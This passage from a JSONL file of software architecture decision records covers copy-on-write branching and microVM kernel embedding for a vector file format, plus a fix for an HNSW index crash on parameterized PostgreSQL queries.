\u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0x000 \u2502 4092 \u2502 Level0Root data (bytes 0x000..0xFFB) \u2502\n\u2502 0xFFC \u2502 4 \u2502 root_checksum (CRC32C of 0x000..0xFFB) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nCross-validation fields (inside Level0Root reserved area):\n double_root_generation: u64 at 0xF60 \u2014 monotonically increasing\n double_root_hash: [u8; 32] at 0xF68 \u2014 SHAKE-256-256 of the OTHER slot\n```\n\n**Read rule** (deterministic, auditable):\n```\n1. Read slot A and slot B\n2. Validate each: CRC32C must pass AND magic must match\n3. For each valid slot: verify double_root_hash matches\n SHAKE-256-256 of the OTHER slot's raw bytes (cross-check)\n4. Pick the slot with the highest double_root_generation\n where CRC passes AND root_hash cross-check passes\n5. If BOTH invalid \u2192 return DoubleRootCorrupt (0x0708)\n6. If only one valid \u2192 use it (the other was mid-write)\n```\n\n**Write rule** (ordered, crash-safe):\n```\n1. Determine which slot has the LOWER generation (= older)\n2. Write the NEW root into the OLDER slot with generation = max + 1\n3. Compute double_root_hash = SHAKE-256-256 of the OTHER (still valid) slot\n4. fsync()\n5. Update the OTHER slot's double_root_hash to point to the newly written slot\n6. Increment the OTHER slot's generation if needed\n7. fsync()\n```\n\nAt no point are both slots invalid simultaneously. A crash at any step leaves at least one slot with a valid CRC and a consistent generation counter.\n\n**Acceptance test**: Simulate torn Level0Root write \u2192 verify fallback to previous valid root \u2192 child file readable and consistent.\n\n### 8.4 HNSW Traversal Under Membership Filter\n\nWhen querying a derived file that shares the parent's HNSW index but has a membership filter:\n\n```rust\nfn search_with_filter(\n query: &[f32],\n graph: &HnswGraph,\n membership: &MembershipFilter,\n ef: usize,\n) -> Vec<(u64, f32)> {\n let mut exploration_heap = BinaryHeap::new(); // for routing\n let mut result_heap = BinaryHeap::new(); // for final results\n let mut ef_remaining = ef;\n\n // ... standard HNSW entry point selection ...\n\n while ef_remaining > 0 && !exploration_heap.is_empty() {\n let current = exploration_heap.pop();\n\n for neighbor in graph.neighbors(current) {\n let dist = distance(query, neighbor);\n\n // ALWAYS push to exploration heap \u2014 excluded nodes are routing waypoints\n exploration_heap.push(neighbor, dist);\n\n // ONLY push to result heap if member of this branch\n if membership.contains(neighbor) {\n result_heap.push(neighbor, dist);\n ef_remaining -= 1;\n }\n // Excluded nodes DO NOT decrement ef_remaining\n }\n }\n\n result_heap.into_sorted_vec()\n}\n```\n\n**Rules** (explicit, not optional):\n1. Excluded nodes **MAY** be pushed onto the exploration heap (they serve as routing waypoints).\n2. Excluded nodes **MUST NOT** be pushed onto the result heap.\n3. Excluded nodes **DO NOT** decrement `ef_remaining`.\n\nThis ensures recall is not degraded by filtered-out nodes blocking the search frontier.\n\n### 8.4.1 Filter + Delta Composition Order\n\nWhen both delta patches and membership filters are active, the composition order is strict:\n\n```\n1. Compose slab + delta first (apply delta to base cluster data)\n2. Apply membership visibility (filter which vectors are visible)\n3. Compute distance (only on visible, patched vectors)\n```\n\nThis ordering prevents information leakage: a delta overlay that modifies a hidden vector's data must not cause that vector to appear in results. The membership filter is always the final gate before distance computation.\n\n### 8.5 COW-Aware Compaction\n\n**Mode 1 \u2014 Read Optimize**:\n- Rewrite hot clusters contiguously (sequential I/O).\n- Upgrade ART map to use extent entries for sequential runs.\n- Inline delta segments that exceed the hot-path threshold.\n\n**Mode 2 \u2014 Space Reclaim**:\n- For each local cluster: compute hash, compare to parent cluster hash.\n- If `hash(local) == hash(parent)`: replace local with `ParentRef`, free storage.\n- Net effect: undoes unnecessary COW copies where mutations were reverted.\n\n**Refcount rebuild**: Walk entire COW map chain from all known derived files. Recount all references. Write new REFCOUNT_SEG.\n\n**Segment preservation rule**: Unknown segments (types not recognized by the compactor) are **copied forward unchanged** unless the user passes `--strip-unknown`. This ensures forward compatibility.\n\n### 8.6 Snapshot-Freeze\n\nSetting `RefcountHeader.snapshot_epoch > 0` freezes the current state. All further writes create a **new derived generation** \u2014 the frozen snapshot becomes an immutable base.\n\nFreeze is a metadata-only operation (no data copy). It:\n1. Writes a new REFCOUNT_SEG with `snapshot_epoch = current_epoch + 1`.\n2. Updates the Level0Root manifest.\n3. Emits a `WITNESS_LINEAGE_SNAPSHOT` witness event.\n\n---\n\n## 9. Deterministic Kernel Selection\n\nWhen multiple `KERNEL_SEG` segments exist in a single file (e.g., x86_64 + aarch64 builds):\n\n```\nSelection priority (first match wins):\n1. Exact architecture match for host CPU\n2. SIGNED required \u2014 reject unsigned kernels if ANY kernel in the file is signed\n3. ML-DSA-65 (post-quantum) signature preferred over Ed25519\n4. Highest compatible api_version\n5. Lowest segment_offset (first in file) as tiebreaker\n```\n\nThis prevents:\n- Running an unsigned kernel when signed alternatives exist (downgrade attack).\n- Running an incompatible architecture kernel.\n- Non-deterministic selection that could vary across boots.\n\n---\n\n## 10. Real Computational Container Artifacts\n\n### 10.1 Wire `serve` Command\n\n**Current state**: `rvf-cli/src/cmd/serve.rs` prints a stub message.\n\n**Target**: Wire the existing `rvf-server` crate (axum HTTP + TCP) into the CLI `serve` subcommand. No Docker, no QEMU \u2014 just start the server on the host with the specified RVF file.\n\n**Implementation**: Replace stub body with:\n```rust\nlet config = ServerConfig {\n http_port: args.port,\n tcp_port: args.tcp_port.unwrap_or(args.port + 1000),\n data_path: args.file.clone(),\n dimension: 0, // auto-detect from file\n};\nrvf_server::run(config).await\n```\n\n### 10.2 Custom MicroLinux Kernel (`rvf-kernel` crate)\n\n**Build pipeline**: Docker-based, producing:\n- `bzImage` (~1.5 MB uncompressed)\n- `initramfs.cpio.gz` (~512 KB)\n- Combined ZSTD-compressed: ~800 KB\n\n**Kernel config highlights**:\n| Category | Options |\n|----------|---------|\n| TEE | `AMD_MEM_ENCRYPT`, `INTEL_TDX_GUEST` |\n| Speed | `PREEMPT_NONE`, `NO_HZ_FULL`, `SLAB` |\n| Security | `LOCKDOWN`, `KASLR`, `STACKPROTECTOR_STRONG`, `STATIC_USERMODEHELPER` |\n| I/O | `VIRTIO_PCI`, `VIRTIO_BLK`, `VIRTIO_NET`, `VSOCK` |\n| BPF | `BPF_JIT`, `BPF_SYSCALL` |\n| Disabled | modules, sound, USB, DRM, wireless, Bluetooth |\n\n**Initramfs contents**: busybox (static) + dropbear (SSH) + rvf-server (static musl). `/init` script boots networking and starts the RVF query server.\n\n**API**:\n```rust\npub struct KernelBuilder { ... }\nimpl KernelBuilder {\n pub fn build() -> Result; // Docker build\n pub fn from_prebuilt() -> Result; // bundled binary\n pub fn embed(store: &mut RvfStore, artifact: &KernelArtifact) -> Result;\n}\n\npub struct KernelVerifier { ... }\nimpl KernelVerifier {\n pub fn extract_and_verify(store: &RvfStore) -> Result;\n}\n```\n\n### 10.3 QEMU Launcher (`rvf-launch` crate)\n\n**Launch configuration**:\n```\nqemu-system-x86_64 \\\n -machine microvm,accel=kvm \\\n -m 64M \\\n -kernel bzImage \\\n -initrd initramfs.cpio.gz \\\n -drive id=rvf,file=data.rvf,format=raw,if=none,readonly=on \\\n -device virtio-blk-device,drive=rvf \\\n -netdev user,id=net0,hostfwd=tcp::8080-:8080 \\\n -device virtio-net-device,netdev=net0 \\\n -nographic -no-reboot\n```\n\n**API**:\n```rust\npub struct Launcher { ... }\nimpl Launcher {\n pub fn launch(rvf_path: &Path, config: LaunchConfig) -> Result;\n}\n\npub struct MicroVm { ... }\nimpl MicroVm {\n pub fn wait_ready(&self, timeout: Duration) -> Result<(), Error>;\n pub fn query(&self, vector: &[f32], k: usize) -> Result, Error>;\n pub fn shutdown(self) -> Result<(), Error>;\n}\n```\n\n### 10.4 Real eBPF Programs (`rvf-ebpf` crate)\n\n**Programs** (compiled with `clang -target bpf -O2`):\n\n| Program | Type | Purpose |\n|---------|------|---------|\n| `xdp_distance.c` | XDP | Inline L2/cosine distance on packet ingress |\n| `socket_filter.c` | Socket Filter | Query preprocessing and validation |\n| `tc_query_route.c` | TC Classifier | Route queries to optimal NUMA node |\n\n**API**:\n```rust\npub struct EbpfCompiler { ... }\nimpl EbpfCompiler {\n pub fn compile(source: &Path) -> Result;\n pub fn embed(store: &mut RvfStore, artifact: &EbpfArtifact) -> Result;\n}\n```\n\n---\n\n## 11. CLI Commands\n\n### 11.1 New Commands\n\n| Command | Description |\n|---------|-------------|\n| `rvf launch ` | Boot RVF in QEMU microVM, forward API port |\n| `rvf embed-kernel [--arch x86_64] [--prebuilt]` | Embed kernel image into RVF |\n| `rvf embed-ebpf --program ` | Compile and embed eBPF program |\n| `rvf filter --include ` | Create MEMBERSHIP_SEG with include filter |\n| `rvf freeze ` | Snapshot-freeze current state |\n| `rvf verify-witness ` | Verify all witness events in chain |\n| `rvf verify-attestation ` | Verify KernelBinding + attestation |\n| `rvf rebuild-refcounts ` | Recompute REFCOUNT_SEG from COW map chain |\n\n### 11.2 Updated Commands\n\n| Command | Change |\n|---------|--------|\n| `rvf serve ` | Wire real `rvf-server` (replace stub) |\n| `rvf compact ` | Add `--strip-unknown` flag for segment stripping |\n\n---\n\n## 12. Level0Root Reserved Area Layout\n\nThe 252-byte reserved area (offset 0xF00-0xFFB) in `Level0Root` is partitioned:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Size \u2502 Field \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0xF00 \u2502 68 \u2502 FileIdentity (existing, ADR-029) \u2502\n\u2502 0xF44 \u2502 8 \u2502 cow_map_offset (u64, 0=no COW map) \u2502\n\u2502 0xF4C \u2502 4 \u2502 cow_map_generation (u32, monotonic) \u2502\n\u2502 0xF50 \u2502 8 \u2502 membership_offset (u64, 0=no filter) \u2502\n\u2502 0xF58 \u2502 4 \u2502 membership_generation (u32, monotonic) \u2502\n\u2502 0xF5C \u2502 4 \u2502 snapshot_epoch (u32, 0=mutable) \u2502\n\u2502 0xF60 \u2502 4 \u2502 double_root_generation (u32, for crash \u2502\n\u2502 \u2502 \u2502 recovery \u2014 monotonic counter) \u2502\n\u2502 0xF64 \u2502 32 \u2502 double_root_hash (SHAKE-256-256 of the \u2502\n\u2502 \u2502 \u2502 OTHER Level0Root copy, for cross-check) \u2502\n\u2502 0xF84 \u2502 120 \u2502 _reserved_future (must be zero) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\nThis fits within the existing 252-byte reserved area without changing the Level0Root size (still 4096 bytes).\n\n---\n\n## 13. Threat Model\n\n| Threat | Mitigation |\n|--------|------------|\n| **Host compromise** | VMM isolation. Signed kernel. KernelBinding prevents segment swap. |\n| **Guest compromise** | Minimal kernel (no modules, hardened). eBPF verifier. Append-only witness log. |\n| **TEE integrity** | `KERNEL_FLAG_MEASURED` + `WITNESS_SEG` attestation. Covers code + manifest. |\n| **Supply chain** | ML-DSA-65 signatures. Reproducible Docker builds. `build_id` tracing. |\n| **Replay attack** | Monotonic epoch in witness. Nonce in attestation. `generation_id` in membership filter. |\n| **Data swap** | `KernelBinding.manifest_root_hash` verified before boot. |\n| **Malicious alt kernel** | Deterministic selection (Section 9). Signed-required downgrade prevention. |\n| **COW map poisoning** | Deterministic map ordering. Compaction verifies cluster hashes vs parent. |\n| **Stale membership filter** | `generation_id` monotonic check. Lower generation rejected at query time. |\n\n**Out of scope**: TEE side channels, physical access, DoS via resource exhaustion, network-level attacks on the API transport.\n\n---\n\n## 14. Error Codes (New)\n\nAdded to `ErrorCode` enum in `rvf-types/src/error.rs`:\n\n```\n// Category 0x07: COW Errors\n0x0700 CowMapCorrupt \u2014 COW map structure invalid\n0x0701 ClusterNotFound \u2014 Referenced cluster not in map or parent\n0x0702 ParentChainBroken \u2014 Parent file not accessible during COW read\n0x0703 DeltaThresholdExceeded \u2014 Delta too large, requires full slab COW\n0x0704 SnapshotFrozen \u2014 Write attempted on frozen snapshot\n0x0705 MembershipInvalid \u2014 Membership filter hash mismatch\n0x0706 GenerationStale \u2014 Membership/COW map generation too old\n0x0707 KernelBindingMismatch \u2014 KernelBinding.manifest_root_hash != current manifest\n0x0708 DoubleRootCorrupt \u2014 Both Level0Root copies invalid (unrecoverable)\n```\n\n---\n\n## 15. Files Changed\n\n### New Files\n\n| File | Crate | Description |\n|------|-------|-------------|\n| `rvf-types/src/cow_map.rs` | rvf-types | CowMapHeader (64B) + ART node types |\n| `rvf-types/src/refcount.rs` | rvf-types | RefcountHeader (32B) |\n| `rvf-types/src/membership.rs` | rvf-types | MembershipHeader (96B) + filter types |\n| `rvf-types/src/delta.rs` | rvf-types | DeltaHeader (64B) |\n| `rvf-types/src/kernel_binding.rs` | rvf-types | KernelBinding (128B, padded) |\n| `rvf-runtime/src/cow.rs` | rvf-runtime | Read/write paths, slab copy, write coalescing |\n| `rvf-runtime/src/cow_map.rs` | rvf-runtime | ART map implementation with extents |\n| `rvf-runtime/src/cow_compact.rs` | rvf-runtime | COW-aware compaction |\n| `rvf-runtime/src/membership.rs` | rvf-runtime | Membership filter for HNSW traversal |\n| `rvf-kernel/` | rvf-kernel | Kernel builder + verifier + Docker pipeline |\n| `rvf-launch/` | rvf-launch | QEMU microVM launcher |\n| `rvf-ebpf/` | rvf-ebpf | eBPF compiler + loader + C source |\n| `rvf-cli/src/cmd/launch.rs` | rvf-cli | Launch command |\n| `rvf-cli/src/cmd/embed_kernel.rs` | rvf-cli | Embed kernel command |\n| `rvf-cli/src/cmd/embed_ebpf.rs` | rvf-cli | Embed eBPF command |\n| `rvf-cli/src/cmd/filter.rs` | rvf-cli | Filter command |\n| `rvf-cli/src/cmd/freeze.rs` | rvf-cli | Freeze command |\n| `rvf-cli/src/cmd/verify_witness.rs` | rvf-cli | Verify witness command |\n| `rvf-cli/src/cmd/verify_attestation.rs` | rvf-cli | Verify attestation command |\n| `rvf-cli/src/cmd/rebuild_refcounts.rs` | rvf-cli | Rebuild refcounts command |\n\n### Modified Files\n\n| File | Change |\n|------|--------|\n| `rvf-types/src/segment_type.rs` | Add CowMap=0x20, Refcount=0x21, Membership=0x22, Delta=0x23 |\n| `rvf-types/src/lib.rs` | Add module declarations + re-exports |\n| `rvf-types/src/error.rs` | Add Category 0x07 COW error codes |\n| `rvf-manifest/src/level0.rs` | COW pointers in reserved area, double-root scheme |\n| `rvf-runtime/src/store.rs` | derive/branch/snapshot APIs, double-root, write coalescing |\n| `rvf-cli/src/main.rs` | 8 new subcommands |\n| `rvf-cli/src/cmd/serve.rs` | Wire real rvf-server |\n\n### New Test Files\n\n| File | Coverage |\n|------|----------|\n| `tests/rvf-integration/tests/cow_branching.rs` | 1M-vector benchmark, slab copy counting |\n| `tests/rvf-integration/tests/cow_crash_recovery.rs` | Torn Level0Root write recovery |\n| `tests/rvf-integration/tests/segment_preservation.rs` | Unknown segments survive compaction |\n| `tests/rvf-integration/tests/filter_traversal.rs` | HNSW + membership recall >= 0.70 |\n| `tests/rvf-integration/tests/kernel_selection.rs` | Deterministic multi-kernel selection |\n| `tests/rvf-integration/tests/lineage_verification.rs` | Provenance chain validation |\n| `tests/rvf-integration/tests/real_kernel_boot.rs` | Embed \u2192 boot \u2192 query |\n| `tests/rvf-integration/tests/real_ebpf.rs` | clang \u2192 embed \u2192 verify |\n\n---\n\n## 16. Execution Order\n\n```\nPhase 1: RVCOW Types + IDs\n \u2192 cow_map.rs, refcount.rs, membership.rs, delta.rs, kernel_binding.rs\n \u2192 segment_type.rs edits, lib.rs module declarations\n \u2192 All compile-time size + field offset assertions\n\nPhase 2: RVCOW Runtime\n \u2192 derive, mutate, freeze, compact\n \u2192 preserve unknown segments, double-root scheme\n \u2192 Write coalescing, L0 cache\n\nPhase 3: COW Integration Tests\n \u2192 cow_branching (1M benchmark)\n \u2192 cow_crash_recovery (torn Level0Root)\n \u2192 segment_preservation\n \u2192 filter_traversal (HNSW + membership)\n\nPhase 4: Wire `serve` command\n \u2192 Real rvf-server on host runtime\n\nPhase 5: Kernel Binding + Selection\n \u2192 KernelBinding footer, deterministic selection, tests\n\nPhase 6: rvf-kernel crate\n \u2192 Docker build pipeline, prebuilt kernel, embed API\n\nPhase 7: rvf-launch crate\n \u2192 QEMU launcher, wait_ready, query, shutdown\n\nPhase 8: rvf-ebpf crate\n \u2192 Real BPF programs (C source), clang pipeline\n\nPhase 9: CLI Commands\n \u2192 All 8 new commands + serve update + compact update\n\nPhase 10: ADR finalization + updated examples\n```\n\n---\n\n## 17. Acceptance Benchmark\n\nA single scripted run must prove all of the following:\n\n```\n1. Create base file with 1M vectors (dim 128, f32)\n \u2192 File size \u2248 512 MB\n\n2. Derive child with include membership set (50% of vectors)\n \u2192 Child contains MEMBERSHIP_SEG, no vector data copy\n\n3. Modify 100 vectors across 10 clusters in the child\n \u2192 Exactly 10 slab copies (one per cluster)\n \u2192 Exactly 10 CLUSTER_COW witness events\n\n4. Child file size = ~10 slabs + map + metadata\n \u2192 NOT 1M vectors (must be << 512 MB)\n\n5. Query recall >= 0.70 on child (using parent's HNSW with membership filter)\n \u2192 Before full index rebuild\n \u2192 Excluded nodes used as routing waypoints only\n\n6. Crash mid-write (simulated torn Level0Root)\n \u2192 Child file readable and consistent after recovery\n \u2192 Fallback to previous valid root via double-root scheme\n\n7. Compact child with --strip-unknown\n \u2192 Unknown segment types removed\n \u2192 Known segments preserved and rewritten contiguously\n\n8. Embed signed kernel with KernelBinding\n \u2192 Swap KERNEL_SEG from different file \u2192 verification FAILS\n \u2192 Original KERNEL_SEG \u2192 verification PASSES\n```\n\n---\n\n## 18. Verification Commands\n\n```bash\n# Type-level tests (headers, size assertions, offset checks)\ncargo test -p rvf-types\n\n# COW runtime tests\ncargo test --test cow_branching # 1M benchmark\ncargo test --test cow_crash_recovery # torn write recovery\ncargo test --test segment_preservation # unknown segments survive\ncargo test --test filter_traversal # HNSW + membership recall\n\n# Kernel tests\ncargo test --test kernel_selection # deterministic multi-kernel\ncargo test --test lineage_verification # provenance chain\n\n# Real artifact tests (require Docker / QEMU / clang)\ncargo test --test real_kernel_boot # embed \u2192 boot \u2192 query\ncargo test --test real_ebpf # clang \u2192 embed \u2192 verify\n\n# Full workspace\ncargo test --workspace\ncargo clippy --workspace --exclude rvf-wasm\n```\n\n---\n\n## 19. Consequences\n\n### Positive\n\n- **Storage**: A 1M-vector derived file with 100 mutations stores ~10 clusters (~2.5 MB) instead of copying the full 512 MB base.\n- **Performance**: Shared HNSW with membership filter avoids O(N log N) index rebuild per branch.\n- **Security**: KernelBinding prevents segment-swap attacks. Double-root prevents bricking on crash.\n- **Forward compatibility**: Unknown segments preserved by default. Older tools gracefully ignore COW segments.\n- **Ecosystem**: Real kernel + launcher enables `rvf serve` \u2192 `rvf launch` pipeline for self-booting vector databases.\n\n### Negative\n\n- **Complexity**: Four new segment types, new runtime paths, crash recovery logic.\n- **Parent dependency**: COW children require access to parent file for inherited clusters. Broken parent chain = broken child.\n- **Docker/QEMU dependency**: Real kernel builds require Docker. Real launches require QEMU+KVM. CI must provision these.\n- **Wire format change**: KernelBinding breaks signed KERNEL_SEG backward compatibility (unsigned stubs unaffected).\n\n### Neutral\n\n- Refcounts are rebuildable (no WAL), trading write simplicity for compaction cost.\n- ART map adds constant overhead per derived file (~few KB for most workloads).\n\n---\n\n## 20. Related Decisions\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-001 | Segment type registry (extended with 0x20-0x23) |\n| ADR-029 | FileIdentity / lineage (used in COW map parent references) |\n| ADR-030 | Computational containers (extended with KernelBinding, real artifacts) |\n\n---\n\n## Appendix A: Magic Number Registry\n\n| Magic | Hex | Segment |\n|-------|-----|---------|\n| `RVFS` | `0x5256_4653` | SegmentHeader (all segments) |\n| `RVM0` | `0x5256_4D30` | Level0Root manifest |\n| `RVKN` | `0x5256_4B4E` | KernelHeader |\n| `RVBP` | `0x5256_4250` | EbpfHeader |\n| `RVCM` | `0x5256_434D` | CowMapHeader (NEW) |\n| `RVRC` | `0x5256_5243` | RefcountHeader (NEW) |\n| `RVMB` | `0x5256_4D42` | MembershipHeader (NEW) |\n| `RVDL` | `0x5256_444C` | DeltaHeader (NEW) |\n\n## Appendix B: Compile-Time Assertions Required\n\n```rust\nconst _: () = assert!(size_of::() == 64);\nconst _: () = assert!(size_of::() == 32);\nconst _: () = assert!(size_of::() == 96);\nconst _: () = assert!(size_of::() == 64);\nconst _: () = assert!(size_of::() == 128);\n// Existing (must not regress):\nconst _: () = assert!(size_of::() == 128);\nconst _: () = assert!(size_of::() == 64);\nconst _: () = assert!(size_of::() == 64);\nconst _: () = assert!(size_of::() == 4096);\nconst _: () = assert!(size_of::() == 68);\nconst _: () = assert!(size_of::() == 112);\n```", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-026-rvcow-branching-and-real-cognitive-containers.md", "created_at": "2026-03-28T11:58:49.143084+00:00", "content_hash": "fcc38d77f09acb60e2f1365ef29079d28b239173553fde1b314ca81f71036e07"} +{"id": "01aade23-48af-4d8e-81dd-618148ff7785", "source": "adr", "text": "# ADR-027: Fix HNSW Index Segmentation Fault with Parameterized Queries\n\n## Status\n\n**Accepted** - 2026-01-28\n\n## Context\n\n### Problem Statement\n\nGitHub Issue #141 reported a **critical (P0)** bug where HNSW indexes on `ruvector(384)` columns cause PostgreSQL to crash with a segmentation fault when executing similarity queries with parameterized query vectors.\n\n### Symptoms\n\n1. **Warning**: `\"HNSW: Could not extract query vector, using zeros\"`\n2. **Warning**: `\"HNSW v2: Bitmap scans not supported for k-NN queries\"`\n3. **Fatal**: `\"server process terminated by signal 11: Segmentation fault\"`\n\n### Root Cause Analysis\n\nThe bug has three contributing factors:\n\n1. **Query Vector Extraction Failure**\n - The `hnsw_rescan` callback extracts the query vector from PostgreSQL's `orderby.sk_argument` datum\n - The extraction code only handles direct `ruvector` datums via `RuVector::from_polymorphic_datum()`\n - **Parameterized queries** (prepared statements, application drivers) pass text representations that require conversion\n - When extraction fails, the code falls back to a zero vector\n\n2. **Invalid Zero Vector Handling**\n - A zero vector is mathematically invalid for similarity search (especially in hyperbolic/Poincar\u00e9 space)\n - The HNSW search algorithm proceeds with this invalid vector without validation\n - Distance calculations with zero vectors cause undefined behavior\n\n3. **Missing Error Handling**\n - No validation before executing HNSW search\n - Segmentation fault instead of graceful PostgreSQL error\n - No dimension mismatch checking\n\n### Impact\n\n- **Production Adoption Blocked**: Modern applications use parameterized queries (ORMs, prepared statements, SQL injection prevention)\n- **100% Reproducible**: Any parameterized HNSW query triggers the crash\n- **Workaround Required**: Sequential scans with 10-15x performance penalty\n\n## Decision\n\n### Fix Strategy\n\nImplement a comprehensive query vector extraction pipeline with proper validation:\n\n#### 1. Multi-Method Query Vector Extraction\n\n```rust\n// Method 1: Direct RuVector extraction (literals, casts)\nif let Some(vector) = RuVector::from_polymorphic_datum(datum, false, typoid) {\n state.query_vector = vector.as_slice().to_vec();\n state.query_valid = true;\n}\n\n// Method 2: Text parameter conversion (parameterized queries)\nif !state.query_valid && is_text_type(typoid) {\n if let Some(vec) = try_convert_text_to_ruvector(datum) {\n state.query_vector = vec;\n state.query_valid = true;\n }\n}\n\n// Method 3: Validated varlena fallback\nif !state.query_valid {\n // ... with size and dimension validation\n}\n```\n\n#### 2. Validation Before Search\n\n```rust\n// Reject invalid queries with clear error messages\nif !state.query_valid || state.query_vector.is_empty() {\n pgrx::error!(\"HNSW: Could not extract query vector...\");\n}\n\nif is_zero_vector(&state.query_vector) {\n pgrx::error!(\"HNSW: Query vector is all zeros...\");\n}\n\nif state.query_vector.len() != state.dimensions {\n pgrx::error!(\"HNSW: Dimension mismatch...\");\n}\n```\n\n#### 3. Track Query Validity State\n\nAdd `query_valid: bool` field to `HnswScanState` to track extraction success across methods.\n\n### Changes Made\n\n| File | Changes |\n|------|---------|\n| `crates/ruvector-postgres/src/index/hnsw_am.rs` | Multi-method extraction, validation, zero-vector check |\n| `crates/ruvector-postgres/src/index/ivfflat_am.rs` | Same fixes applied for consistency |\n\n### Key Functions Added/Modified\n\n- `hnsw_rescan()` - Complete rewrite of query extraction logic\n- `try_convert_text_to_ruvector()` - New function for text\u2192ruvector conversion\n- `is_zero_vector()` - New validation helper\n- `ivfflat_amrescan()` - Parallel fix for IVFFlat index\n- `ivfflat_try_convert_text_to_ruvector()` - IVFFlat text conversion\n\n## Consequences\n\n### Positive\n\n- **Parameterized queries work**: Prepared statements, ORMs, application drivers all function correctly\n- **Graceful error handling**: PostgreSQL ERROR instead of segfault\n- **Clear error messages**: Users understand what went wrong and how to fix it\n- **Dimension validation**: Catches mismatched query/index dimensions early\n- **Zero-vector protection**: Invalid queries rejected before search execution\n\n### Negative\n\n- **Slight overhead**: Additional validation on each query (negligible, ~1\u03bcs)\n- **Text parsing**: Manual vector parsing for text parameters (only when other methods fail)\n\n### Neutral\n\n- **No API changes**: Existing queries continue to work unchanged\n- **IVFFlat also fixed**: Consistent behavior across both index types\n\n## Test Plan\n\n### Unit Tests\n\n```sql\n-- 1. Literal query (baseline - should work)\nSELECT * FROM test_hnsw ORDER BY embedding <=> '[0.1,0.2,0.3]'::ruvector(3) LIMIT 5;\n\n-- 2. Prepared statement (was crashing, now works)\nPREPARE search AS SELECT * FROM test_hnsw ORDER BY embedding <=> $1::ruvector(3) LIMIT 5;\nEXECUTE search('[0.1,0.2,0.3]');\n\n-- 3. Function with text parameter (was crashing, now works)\nSELECT * FROM search_similar('[0.1,0.2,0.3]');\n\n-- 4. Zero vector (was crashing, now errors gracefully)\nSELECT * FROM test_hnsw ORDER BY embedding <=> '[0,0,0]'::ruvector(3) LIMIT 5;\n-- ERROR: HNSW: Query vector is all zeros...\n\n-- 5. Dimension mismatch (was undefined behavior, now errors)\nSELECT * FROM test_hnsw ORDER BY embedding <=> '[0.1,0.2]'::ruvector(2) LIMIT 5;\n-- ERROR: HNSW: Query vector has 2 dimensions but index expects 3\n```\n\n### Integration Tests\n\n- Node.js pg driver with parameterized queries\n- Python psycopg with prepared statements\n- Rust sqlx with query parameters\n- Load test with 10k concurrent parameterized queries\n\n## Related\n\n- **Issue**: [#141](https://github.com/ruvnet/ruvector/issues/141) - HNSW Segmentation Fault with Parameterized Queries\n- **Reporter**: Mark Allen, NexaDental CTO\n- **Priority**: P0 (Critical) - Production blocker\n\n## Implementation Checklist\n\n- [x] Fix `hnsw_rescan()` query extraction\n- [x] Add `try_convert_text_to_ruvector()` helper\n- [x] Add `is_zero_vector()` validation\n- [x] Add `query_valid` field to scan state\n- [x] Apply same fix to IVFFlat for consistency\n- [x] Compile verification\n- [ ] Add regression tests\n- [ ] Update documentation\n- [ ] Build new Docker image\n- [ ] Test with production dataset (6,975 rows)\n- [ ] Release v2.0.1 patch\n\n## References\n\n- [PostgreSQL Index AM API](https://www.postgresql.org/docs/current/indexam.html)\n- [pgrx FromDatum trait](https://docs.rs/pgrx/latest/pgrx/trait.FromDatum.html)\n- [pgvector parameter handling](https://github.com/pgvector/pgvector/blob/master/src/hnsw.c)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-027-hnsw-parameterized-query-fix.md", "created_at": "2026-03-28T11:58:49.143279+00:00", "content_hash": "ba5becffe1226f6d482f16b0b695fad90c38630c8ca3cb9e60c2205b2e7103fd"} +{"id": "6cdf7682-8fd1-42ed-9725-be0c932e80da", "source": "adr", "text": "# ADR-028: eHealth Platform Architecture for 50M Patient Records\n\n**Status**: Proposed\n**Date**: 2026-02-10\n**Authors**: ruv.io, RuVector Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n\n## Version History\n\n| 